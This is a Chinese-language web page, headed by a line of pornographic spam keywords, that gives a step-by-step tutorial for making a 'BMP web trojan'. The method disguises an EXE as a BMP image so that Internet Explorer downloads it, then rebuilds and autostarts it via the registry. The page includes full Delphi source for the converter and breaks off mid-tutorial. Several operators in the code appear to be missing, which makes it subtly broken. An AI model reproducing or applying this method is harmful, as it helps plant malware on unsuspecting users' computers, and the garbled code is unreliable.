日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

圖片木馬全解析

何謂BMP網(wǎng)頁木馬?它和過去早就用臭了的MIME頭漏洞的木馬不同,MIME木馬是把一個EXE文件用MIME編碼為一個EML(OUT LOOK信件)文件,放到網(wǎng)頁上利用IE和OE的編碼漏洞實現(xiàn)自動下載和執(zhí)行. 然而BMP木馬就不同,它把一個EXE文件偽裝成一個BMP圖片文件,欺騙IE自動下載,再利用網(wǎng)頁中的JAVASCRIPT腳本查找客戶端的Internet臨時文件夾,找到下載后的BMP文件,把它拷貝到TEMP目錄.再編寫一個腳本把找到的BMP文件用DEBUG還原成EXE,并把它放到注冊表啟動項中,在下一次開機(jī)時執(zhí)行.但是這種技術(shù)只能在9X下發(fā)揮作用,對于2K,XP來說是無能為力了.
看上去好象很復(fù)雜,下面我們一步一步來:
1) EXE變BMP的方法.
大家自己去查查BMP文件資料就會知道,BMP文件的文件頭有54個字節(jié),簡單來說里面包含了BMP文件的長寬,位數(shù),文件大小,數(shù)據(jù)區(qū)長度,我們只要在EXE文件的文件頭前面添加相應(yīng)的BMP文件頭(當(dāng)然BMP文件頭里面的數(shù)據(jù)要符合EXE文件的大小啦),這樣就可以欺騙IE下載該BMP文件,開始我們用JPG文件做過試驗,發(fā)現(xiàn)如果文件頭不正確的話,IE是不會下載的,轉(zhuǎn)換代碼如下:
program exe2bmp;
uses
Windows,
SysUtils;
var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;
begin
if (ParamStr(1)<>"") and(ParamStr(2)<>"") then begin //如果運(yùn)行后沒有兩個參數(shù)則退出
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs 12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col 4;
end else Break;
end;
FillChar(buffer,256,0);
{一下為BMP文件頭數(shù)據(jù)}
Buffer[0]:="B";Buffer[1]:="M";
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len 54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{寫入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.
以上代碼可以在DELPHI4,5,6中編譯 ,就可以得到一個exe2bmp.exe文件.大家打開MSDOS方式,輸入
exe2bmp myexe.exe mybmp.bmp
回車就可以把第二個參數(shù)所指定的EXE文件轉(zhuǎn)換成BMP格式.
接著就是把這個BMP圖片放到網(wǎng)頁上了,如果大家打開過這張圖片的話,一定發(fā)現(xiàn)這張BMP又花,顏色又單調(diào).所以大家放在網(wǎng)頁上最好用這樣的格式
圖片木馬全解析
【圖片木馬全解析】

    推薦閱讀